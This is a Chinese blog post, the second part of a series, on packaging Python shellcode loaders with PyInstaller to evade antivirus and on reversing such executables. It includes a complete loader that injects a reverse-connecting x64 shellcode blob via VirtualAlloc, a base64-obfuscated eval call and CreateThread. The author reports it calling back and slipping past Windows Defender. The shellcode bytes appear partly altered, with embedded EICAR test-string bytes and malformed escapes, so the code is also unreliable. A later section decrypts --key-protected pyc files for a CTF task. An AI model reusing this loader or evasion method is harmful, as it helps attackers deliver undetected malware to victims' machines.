pyinstaller打包exe免杀和逆向浅析(下)

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: pyinstaller打包exe免杀和逆向浅析

4.2 --key参数反编译


同样的,将两个文件放在一起进行逆向得到pyc文件



python pyinstxtractor.py py_shellcode.exe



开始报错,但是依旧可以生成相应的文件夹:





这里使用同样的方法来对这两个文件进行测试,将新生成的文件保存为shellcode_key.pyc


uncompyle6 shellcode_key.pyc



将文件重定向到py文件里面去


打开之后发现,文件和未使用--key参数的效果基本没什么变化。

--key的参数针对的只是依赖库进行了加密而已。



微信图片_20230517200135.gif

05正确使用 key参数


正确使用--key参数进行加密免杀(测试时间:2021.06.17)

总体上来讲,python打包的exe都是可以破解的,就算使用cython来写,依旧是可以破解的,只是时间问题而已,但是在这还是提出一些略微有效的方法(自欺欺人)。


5.1 不使用--key参数


将所有的代码进行封装为一个函数,在一个新的文件中引用,其中py_shellcode_fuzz.py里的文件内容不变,只不过将其封装为一个函数,test.py来调用这个函数


py_shellcode_fuzz.py


# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:12:27
# Author: crow
import ctypes,base64
def shell():
    shellcode =  b""
    shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\d2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00"
    shellcode = bytearray(shellcode)
    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    string = """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"""
    eval(base64.b64decode(string))
    # 创建一个线程从shellcode防止位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr), 
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
if __name__ == '__main__':
    shell()


test.py


# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:00:27
# Author: crow
import ctypes
from py_shellcode import shell 
if __name__ == '__main__':
    shell()

直接执行脚本:


python py_shellcode_fuzz.py


1.png2.png


上线正常,使用test.py调用该文件

python test.py 上线正常



然后再对文件进行打包

首先使用pyinstaller直接打包


pyinstaller -F --noconsole test.py

直接在dist文件夹下尝试获取pyc文件



python pyinstxtractor.py test.exe



将这两个文件单独拿出来,重复同样的操作





uncompyle6 get.pyc


c0f699bcbb71ca6ef86b3f621f4da429.png


将文件保存起来

bf2684f5ae57ee4909dd7559bbff829e.png

这里就无法找到py_shell_fuzz中的内容了,那文件到底在哪呢?

我们将反编译之后的PYZ-00.pyz_extracted文件夹找到了该pyc文件。





对该pyc文件直接进行解密

uncompyle6 py_shellcode_fuzz.pyc



报错,这里使用010 editor分析下pyc文件


通过与get.pyc对比发现,这里少了4个字节,因此需要对其进行补全:



将文件保存为new_py_shell.pyc


再对其进行解密

uncompyle6 new_py_shell.pyc


再将文件保存起来


uncompyle6  new_py_shell.pyc > new_shell.py


此时该文件被完全解密





此时将文件使用VT查杀测试

VT 查杀


https://www.virustotal.com/gui/file-analysis/MWM3N2M3NmExNjhlZmZkMDNmZDZkMTY2MzU1YWZjMzI6MTYyMzk0MTQwMQ==/detection

f418f66828f6ec36a74c7174e4746c0a.png


5.2 pyinstaller使用--key参数打包exe


在上文中pyinstaller中--key参数可以对依赖库进行了加密,因此在这里尝试使用--key参数重新打包一下:



pyinstaller -F --key crowcrow --noconsole test.py


直接在dist文件夹下尝试获取pyc文件


python pyinstxtractor.py test.exe


这里该失败的失败,该成功的成功!



同样的手法,对下面箭头的文件进行解密:



得到文件final.pyc



uncompyle6 final.pyc



这里和上面的也是一样的,显示从py_shellcode_fuzz中调用了shell函数。那就去同样的位置去找py_shellcode_fuzz.pyc文件。


但是这里可以看到py_shellcode_fuzz.pyc已经被加密变成了py_shellcode_fuzz.pyc.encrypted文件格式。



将该文件使用010 editor打开,通过对比发现,该文件已经被加密,无法使用uncompyle6对其进行解密,当然这个文件依旧可以解密,但是解密成本要高于目前的手法



此时对原来的文件双击测试:



依旧可以上线(测试时间:2021.06.17)。

免杀效果:Windows defender可过。(测试时间:2021.06.17





VT查杀:(测试时间:2021.06.17



https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae0da4da5cd8945f12b053470484cdb2df838fc/detection





2021.10.29查看:(免杀已g



5.3 总结


从以上文章可以看出,将shellcode加载器写到一个文件中去,再使用另外一个脚本调用,在一定程度上可以免杀(随着时间推移,该方法逐渐失效),但是--key参数加密后的py_shellcode_fuzz.pyc.encrypted文件是无法解开的吗?

理论上讲,该文件可以理解为勒索病毒加密之后的文件,如果key足够复杂,在还原文件上还是非常有难度的,但是在pyinstaller的作者并非将该文件写死,该文件还是能够进行还原的。

微信图片_20230517200135.gif

06加key参数逆向源码


在这里,以本人有幸在某比赛上出过两个简单的python逆向题目,其中一个就是需要选手对python打包的exe进行逆向,具体的过程如下:(赛题部分在这里不表,直接逆向)


6.1 背景介绍


在这里使用了一个用pyinstaller --key -F 参数打包的文件。


6.2  第一层解包拿key


使用pyinstxtractor.py进行逆向代码。


在这里可以看到好多的代码是被混淆了,无法直接解密。




在这个文件夹下可以看到带key的文件,使用notepad打开。

在这里的key是17位 000000guess_flag 其中N并不属于key值。

在这里使用脚本对加密的文件进行解密,如果是没使用key参数来搞的话,这个文件是未加密的。



使用脚本来解密。

#from key import key
import tinyaes
key = "000000guess_flag"
print (key)
f = open('./guess.pyc.encrypted', 'rb')
data = f.read()
cipher = tinyaes.AES(key.encode(), data[:16])
output = cipher.CTR_xcrypt_buffer(data[16:])
f.close()
import zlib
output = zlib.decompress(output)
f = open('./guess.pyc', 'wb')
f.write(output)


然后复制该文件和struct文件进行处理



复制struct文件的第一行,然后在复制guess_pyc文件的所有信息,到一个新建的文件中。



6.3 uncompyle6 逆向pyc文件



uncompyle6 reverse.pyc > code1013.py

此时获得源代码。




07     总    结


本文主要对pyinstaller打包的文件进行了超简单逆向分析,在这里也有一些免杀的小小的tips,其中也参考了诸多的资料,不乏有诸多错误,希望各位师傅能够批评指正。


相关文章
|
6月前
|
存储 Shell 区块链
怎么把Python脚本打包成可执行程序?
该文档介绍了如何将Python脚本及其运行环境打包成EXE可执行文件,以便在不具备Python环境的计算机上运行。首先确保Python脚本能够正常运行,然后通过安装PyInstaller并使用`--onefile`参数将脚本打包成独立的EXE文件。此外,还提供了去除命令行窗口和指定可执行文件图标的详细方法。这些步骤帮助用户轻松地将Python程序分发给最终用户。
怎么把Python脚本打包成可执行程序?
|
9月前
|
XML 数据可视化 Java
【干货】常用EXE文件反编译工具
【干货】常用EXE文件反编译工具
|
10月前
|
Python
python脚本打包成可执行文件(pyinstaller)
python脚本打包成可执行文件(pyinstaller)
|
安全 Shell 测试技术
pyinstaller打包exe免杀和逆向浅析(上)
pyinstaller打包exe免杀和逆向浅析
2031 0
|
存储 自然语言处理 IDE
【C进阶】——我们写的代码是如何一步步变成可执行程序(.EXE)的?
【C进阶】——我们写的代码是如何一步步变成可执行程序(.EXE)的?
690 0
|
区块链 Python
pyinstaller打包exe
pyinstaller打包exe
158 0
pyinstaller打包exe
|
SQL 算法 区块链
pyinstaller打包exe(详细教程)
当你想把你做的python游戏或者是脚本等.py文件发给别人时,打包为.exe文件,即使对方没有安装python也能运行
880 0
pyinstaller打包exe(详细教程)
|
C++ Windows
QT5的程序打包发布(打包成exe可执行程序)
QT5的程序打包发布(打包成exe可执行程序)
776 0
QT5的程序打包发布(打包成exe可执行程序)
|
数据采集 程序员 Python
小工具随手记:使用Pyinstaller将Python程序打包成exe
小工具随手记:使用Pyinstaller将Python程序打包成exe
小工具随手记:使用Pyinstaller将Python程序打包成exe
|
C# C++
C#如何打包EXE程序生成setup安装文件
项目结束之后,有需要将winForm程序打包成.exe文件提供给用户。这里记录一下打包过程。
1961 0
C#如何打包EXE程序生成setup安装文件